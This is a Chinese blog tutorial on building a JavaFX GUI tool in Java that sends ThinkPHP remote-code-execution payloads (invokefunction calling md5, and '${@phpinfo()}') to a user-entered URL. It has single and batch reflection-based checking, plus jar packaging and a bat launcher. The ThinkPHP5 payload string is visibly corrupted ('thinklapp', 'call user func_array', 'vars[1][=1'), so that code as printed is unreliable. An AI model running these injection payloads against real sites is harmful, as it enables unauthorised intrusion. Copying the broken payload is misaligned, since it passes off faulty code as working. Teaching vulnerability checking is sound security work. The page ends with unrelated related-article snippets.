JAVA-Exploit编写(13-15)--JAVAFX-GUI检测工具编写实现

news/2025/2/24 17:28:26

目录

一,JAVAFX-GUI单个漏洞检测编写

1.1 绑定事件        

1.2 Thinkphp5_Rce编写 

 1.3 编写利用类

1.4 Thinkphp2x_Rce编写

1.5 单个漏洞检测GUI工具完整代码 

二,JAVAFX-GUI单个漏洞批量检测编写

2.1 编写利用反射类 

 2.2 批量检测漏洞完整GUI工具代码

 三,JAVAFX-GUI打包为jar包

 3.1.第一步打包jar

 3.2.工件处

3.3 主类选择如图所示

 3.4 本机使用配置

3.5 便捷使用创建bat文件 


一,JAVAFX-GUI单个漏洞检测编写

1.1 绑定事件        

布局上有两个按钮 分别的功能是 单个模块检测和多个模块检测。

单个模块检测

首选介绍单个模块检测

 单个模块的检测是 按钮检测的时 获取选择框的值 调用对应的对应的模块进行检测。-先择框选择的时候 绑定事件

需要---绑定下拉框和----按钮事件,获取----输入框的url信息和---返回响应结果设置到文本域框中

1.2 Thinkphp5_Rce编写 

java">// 没有选择过的话,会出现null,因此设置初始值
        final String[] tmp = {"Thinkphp5_Rce"};
        //绑定事件
        // 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型
        choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
            @Override
            public void changed(ObservableValue observableValue, String oldValue, String newValue) {
                //存储选择的值,在类里面创建另一个无法获取,因此在外面创建
                tmp[0] = newValue;
            }
        });
        //按钮点击事件
        BtnCheck.setOnAction(e->{
            //为了避免直接打印的卡顿,通过调用进程来实现
            new Thread(new Runnable() {
                @Override
                public void run() {
//                    System.out.println("点击");
//                    System.out.println(tmp[0]);
                    String url = textField.getText();
                    if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){
                        Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);
                        String res = thinkphp5Rce.exploit();
                        // System.out.println(res);
                        // 将响应信息设置到文本域框中
                        textArea.setText(res);
                    }
                }
            }).start();
});

 1.3 编写利用类

java">package com.exp.exploit;

import com.github.kevinsawicki.http.HttpRequest;

public class Thinkphp5_Rce {
    private String url;

    public Thinkphp5_Rce() {

    }

    public Thinkphp5_Rce(String url) {
        this.url = url;
    }

    public String exploit(){
        String payload = "/?s=index/thinklapp/invokefunction&function=call user func_array&vars[0]=md5&vars[1][=1";
        try{
            HttpRequest request = HttpRequest.get(this.url + payload, true);
            String content = request.body();
            if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){
                return this.url + "存在Thinkphp5_Rce漏洞:\n 漏洞检测代码:" + payload;
            }else{
                return "Thinkphp5_Rce漏洞 不存在";
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "访问异常";
        }
    }

}

1.4 Thinkphp2x_Rce编写

java">package com.exp.exploit;

import com.github.kevinsawicki.http.HttpRequest;

public class Thinkphp2x_Rce {
    private String url;

    public Thinkphp2x_Rce() {

    }

    public Thinkphp2x_Rce(String url) {
        this.url = url;
    }

    public String exploit(){
        String payload = "/?s=/E/D/I/${@phpinfo()}";
        try{
            HttpRequest request = HttpRequest.get(this.url + payload, true);
            String content = request.body();
            if (content.contains("phpinfo")){
                return this.url + " " + "存在Thinkphp2x_Rce漏洞:\n 漏洞检测代码:" + " " + this.url + payload;
            }else{
                return "Thinkphp2x_Rce漏洞 不存在";
            }
        } catch (Exception e) {
            e.printStackTrace();
            return "访问异常";
        }
    }

}

1.5 单个漏洞检测GUI工具完整代码 

java">package com.exp;

import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;

public class JavaFxMain extends Application {

    public static void main(String[] args) {
        //默认有的方法
        launch();
    }
    @Override
    public void start(Stage stage) throws Exception {
        //设置舞台的标题
        stage.setTitle("漏洞检测工具");
        //禁止放大,无法点击最大化按钮
        stage.setResizable(false);
        //布局控件
        AnchorPane anchorPane = new AnchorPane();
        //设置控件
        Label UrlLabel = new Label("网址:");
        Label MsgLabel = new Label("信息:");
        //文本框
        TextField textField = new TextField();
        //设置文本框的默认值setText 设置提示setPromptText
        textField.setPromptText("请输入网址:");
        //设置下拉框
        String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};
        ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));
        //设置默认值
        choiceBox.setValue("Thinkphp5_Rce");
        //设置按钮
        Button BtnCheck = new Button("单个检测");
        Button BtnBatch = new Button("批量检测");
        //设置文本域
        TextArea textArea = new TextArea();
        textArea.setPromptText("返回结果信息........");
        //设置下拉属性
        textArea.setWrapText(true);
        textArea.setPrefHeight(300);

        //设置控件的位置
        //设置网址标签的位置
        UrlLabel.setLayoutX(20);
        UrlLabel.setLayoutY(13);

        //设置信息标签的位置
        MsgLabel.setLayoutX(20);
        MsgLabel.setLayoutY(50);


        //设置文本框位置
        textField.setLayoutX(70);
        textField.setLayoutY(10);

        //设置文本框的宽度
        textField.setPrefWidth(260);

        //选择框
        choiceBox.setLayoutX(340);
        choiceBox.setLayoutY(10);

        //设置button1的位置
        BtnCheck.setLayoutX(480);
        BtnCheck.setLayoutY(10);
        //设置button2的位置
        BtnBatch.setLayoutX(550);
        BtnBatch.setLayoutY(10);

        //设置文本域的位置
        textArea.setLayoutX(70);
        textArea.setLayoutY(50);

        //add 是单个控件  addAll 是多个控件
        anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);

        //设置场景 以及场景的大小
        Scene scene = new Scene(anchorPane, 700, 400);
        stage.setScene(scene);
        stage.show();

        // 没有选择过的话,会出现null,因此设置初始值
        final String[] tmp = {"Thinkphp5_Rce"};
        //绑定事件
        // 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型
        choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
            @Override
            public void changed(ObservableValue observableValue, String oldValue, String newValue) {
                //存储选择的值,在类里面创建另一个无法获取,因此在外面创建
                tmp[0] = newValue;
            }
        });
        //按钮点击事件
        BtnCheck.setOnAction(e->{
            //为了避免直接打印的卡顿,通过调用进程来实现
            new Thread(new Runnable() {
                @Override
                public void run() {
//                    System.out.println("点击");
//                    System.out.println(tmp[0]);
                    String url = textField.getText();
                    if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){
                        Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);
                        //调用exp方法
                        String res = thinkphp5Rce.exploit();
                        //System.out.println(res);
                        // 将响应信息设置到文本域框中
                        textArea.setText(res);
                    } else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {
                        Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);
                        String res = thinkphp2xRce.exploit();
                        textArea.setText(res);

                    }
                }
            }).start();
        });
    }

}

二,JAVAFX-GUI单个漏洞批量检测编写

  获取下拉框中的所有值,通过值,通过反射获取对应的exp类,通过反射设置url的值,通过值来进行调用,注意,下拉框的值要与类名一致.

2.1 编写利用反射类 

java">//批量检测
        //按钮点击事件
        BtnBatch.setOnAction(e->{
            //为了避免直接打印的卡顿,通过调用进程来实现
            new Thread(new Runnable() {
                @Override
                public void run() {
                    String url = textField.getText();
                    ObservableList<String> AllItems = choiceBox.getItems();
                    for (String item : AllItems) {
                        try {
                            //获取反射的类,这里需要注意这个com.exp.exploit后面的. 号
                            Class clazz = Class.forName("com.exp.exploit." + item);
                            // 反射的类含有无参构造
                            Object o = clazz.newInstance();
                            //修改反射的类的url
                            Field fieldUrl = clazz.getDeclaredField("url");
                            //设置权限
                            fieldUrl.setAccessible(true);
                            fieldUrl.set(o, url);
                            Method methodExploit = clazz.getMethod("exploit");
                            String res = (String) methodExploit.invoke(o);
                            //先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)
                            String text = textArea.getText().trim();
                            textArea.setText(text + "\n" + res);

                        } catch (ClassNotFoundException ex) {
                            throw new RuntimeException(ex);
                        } catch (InstantiationException ex) {
                            throw new RuntimeException(ex);
                        } catch (IllegalAccessException ex) {
                            throw new RuntimeException(ex);
                        } catch (NoSuchFieldException ex) {
                            throw new RuntimeException(ex);
                        } catch (NoSuchMethodException ex) {
                            throw new RuntimeException(ex);
                        } catch (InvocationTargetException ex) {
                            throw new RuntimeException(ex);
                        }
                    }

                }
            }).start();
        });

 2.2 批量检测漏洞完整GUI工具代码

java">package com.exp;

import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class JavaFxMain extends Application {

    public static void main(String[] args) {
        //默认有的方法
        launch();
    }
    @Override
    public void start(Stage stage) throws Exception {
        //设置舞台的标题
        stage.setTitle("漏洞检测工具");
        //禁止放大,无法点击最大化按钮
        stage.setResizable(false);
        //布局控件
        AnchorPane anchorPane = new AnchorPane();
        //设置控件
        Label UrlLabel = new Label("网址:");
        Label MsgLabel = new Label("信息:");
        //文本框
        TextField textField = new TextField();
        //设置文本框的默认值setText 设置提示setPromptText
        textField.setPromptText("请输入网址:");
        //设置下拉框
        String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};
        ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));
        //设置默认值
        choiceBox.setValue("Thinkphp5_Rce");
        //设置按钮
        Button BtnCheck = new Button("单个检测");
        Button BtnBatch = new Button("批量检测");
        //设置文本域
        TextArea textArea = new TextArea();
        textArea.setPromptText("返回结果信息........");
        //设置下拉属性
        textArea.setWrapText(true);
        textArea.setPrefHeight(300);

        //设置控件的位置
        //设置网址标签的位置
        UrlLabel.setLayoutX(20);
        UrlLabel.setLayoutY(13);

        //设置信息标签的位置
        MsgLabel.setLayoutX(20);
        MsgLabel.setLayoutY(50);


        //设置文本框位置
        textField.setLayoutX(70);
        textField.setLayoutY(10);

        //设置文本框的宽度
        textField.setPrefWidth(260);

        //选择框
        choiceBox.setLayoutX(340);
        choiceBox.setLayoutY(10);

        //设置button1的位置
        BtnCheck.setLayoutX(480);
        BtnCheck.setLayoutY(10);
        //设置button2的位置
        BtnBatch.setLayoutX(550);
        BtnBatch.setLayoutY(10);

        //设置文本域的位置
        textArea.setLayoutX(70);
        textArea.setLayoutY(50);

        //add 是单个控件  addAll 是多个控件
        anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);

        //设置场景 以及场景的大小
        Scene scene = new Scene(anchorPane, 650, 400);
        stage.setScene(scene);
        stage.show();

        // 没有选择过的话,会出现null,因此设置初始值
        final String[] tmp = {"Thinkphp5_Rce"};
        //绑定事件
        // 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型
        choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {
            @Override
            public void changed(ObservableValue observableValue, String oldValue, String newValue) {
                //存储选择的值,在类里面创建另一个无法获取,因此在外面创建
                tmp[0] = newValue;
            }
        });
        //按钮点击事件
        BtnCheck.setOnAction(e->{
            //为了避免直接打印的卡顿,通过调用进程来实现
            new Thread(new Runnable() {
                @Override
                public void run() {
                    String url = textField.getText();
                    if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){
                        Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);
                        //调用exp方法
                        String res = thinkphp5Rce.exploit();
                        //System.out.println(res);
                        // 将响应信息设置到文本域框中
                        textArea.setText(res);
                    } else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {
                        Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);
                        String res = thinkphp2xRce.exploit();
                        textArea.setText(res);

                    }
                }
            }).start();
        });


        //批量检测
        //按钮点击事件
        BtnBatch.setOnAction(e->{
            //为了避免直接打印的卡顿,通过调用进程来实现
            new Thread(new Runnable() {
                @Override
                public void run() {
                    String url = textField.getText();
                    ObservableList<String> AllItems = choiceBox.getItems();
                    for (String item : AllItems) {
                        try {
                            //获取反射的类,这里需要注意这个com.exp.exploit后面的. 号
                            Class clazz = Class.forName("com.exp.exploit." + item);
                            // 反射的类含有无参构造
                            Object o = clazz.newInstance();
                            //修改反射的类的url
                            Field fieldUrl = clazz.getDeclaredField("url");
                            //设置权限
                            fieldUrl.setAccessible(true);
                            fieldUrl.set(o, url);
                            Method methodExploit = clazz.getMethod("exploit");
                            String res = (String) methodExploit.invoke(o);
                            //先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)
                            String text = textArea.getText().trim();
                            textArea.setText(text + "\n" + res);
//                            System.out.println(res);

                        } catch (ClassNotFoundException ex) {
                            throw new RuntimeException(ex);
                        } catch (InstantiationException ex) {
                            throw new RuntimeException(ex);
                        } catch (IllegalAccessException ex) {
                            throw new RuntimeException(ex);
                        } catch (NoSuchFieldException ex) {
                            throw new RuntimeException(ex);
                        } catch (NoSuchMethodException ex) {
                            throw new RuntimeException(ex);
                        } catch (InvocationTargetException ex) {
                            throw new RuntimeException(ex);
                        }
                    }

                }
            }).start();
        });
    }

}

 三,JAVAFX-GUI打包为jar包

 3.1.第一步打包jar

在设置处打开项目结构

 3.2.工件处

3.3 主类选择如图所示

如图所示的路径不要错,也不要改,不然会出现问题 

点击确定完成后 

选择应用-→点击确定,然后再IDEA的最上面选择构建工件

选择构建

输出的工件如图所示:在out中,然后就可以拿来使用了 

 3.4 本机使用配置

        此时将构建好的jar包,复制到桌面发现打不开,或者出现打开后文件大小存在错误,这是因为构建工件时,使用的还是系统内置的环境,需要做下面的配置,注意其中-path后的路径替换为自己本机的包的目录,下面同理

java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar

使用时需要在17.0.10 bin环境下使用

java -version

 然后就会打开如下的工具界面

3.5 便捷使用创建bat文件 

C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
  
  
  前面是jdk17的bin环境路径 使用的时候只要双击bat文件即可

测试能不能正常使用,发现可以正常使用 


http://www.niftyadmin.cn/n/5864644.html

相关文章

Redis过期数据处理

Redis缓存过期后数据还能恢复吗&#xff1f; Redis缓存过期后&#xff0c;数据通常会被删除&#xff0c;但可以通过以下几种方法尝试恢复数据&#xff1a; 1. 数据备份恢复 RDB 持久化恢复&#xff1a;Redis 提供了 RDB&#xff08;Redis Database Backup&#xff09;持久化…

Qt 是一个跨平台的 C++ 应用程序框架

Qt 是一个跨平台的 C++ 应用程序框架,广泛用于开发图形用户界面(GUI)应用程序,也可以用于开发非 GUI 程序,如命令行工具和控制台应用程序。Qt 提供了丰富的类库和工具,支持多种操作系统,包括 Windows、macOS、Linux 等。 主要特点: 跨平台:Qt 支持多种操作系统,开发…

CentOS系统安装NFS

目录 一、NFS简介 二、NFS 的工作原理 服务器端 客户端 通信协议 三、NFS安装 NFS服务端安装 1.安装服务端NFS软件包 2.启动并设置开机自启服务 3.创建NFS 共享目录 4.配置NFS 共享目录 5.重新加载共享配置 NFS客户端安装 1.安装客户端软件包 2.查看服务端共享…

如何在 macOS 上配置 MySQL 环境变量

如何在 macOS 上配置 MySQL 环境变量 步骤 1: 查找 MySQL 安装路径 打开终端&#xff0c;使用以下命令查找 mysql 的可执行文件路径&#xff1a; which mysql如果该命令没有返回结果&#xff0c;可以使用 find 命令&#xff1a; sudo find / -name "mysql" 2>/de…

小波变换背景预测matlab和python样例

小波变换使用matlab和python 注意1d和2d的函数区别。注意默认参数问题。最终三个版本结果能够对齐。 matlab load(wave_in.mat)% res: image of 1536 x 1536 th1; dlevel7; wavenamedb6;[m,n] wavedec2(res, dlevel, wavename);vec zeros(size(m)); vec(1:n(1)*n(1)*1) m…

C语言多人聊天室 ---chat(客户端聊天)

head.h #ifndef __HEAD_H #define __HEAD_H// 常用头文件 #include <stdio.h> #include <stdlib.h> #include <string.h>// 网络编程涉及的头文件 #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h>#include <…

给小米/红米手机root(工具基本为官方工具)——KernelSU篇

目录 前言准备工作下载刷机包xiaomirom下载刷机包【适用于MIUI和hyperOS】“hyper更新”微信小程序【只适用于hyperOS】 下载KernelSU刷机所需程序和驱动文件 开始刷机设置手机第一种刷机方式【KMI】推荐提取boot或init_boot分区 第二种刷机方式【GKI】不推荐 结语 前言 刷机需…

【HeadFirst系列之HeadFirst设计模式】第10天之迭代器与组合模式:遍历与管理的艺术

迭代器与组合模式&#xff1a;遍历与管理的艺术 在《Head First 设计模式》中&#xff0c;**迭代器模式&#xff08;Iterator Pattern&#xff09;和组合模式&#xff08;Composite Pattern&#xff09;**是两个非常重要的设计模式。迭代器模式帮助我们遍历集合中的元素&#…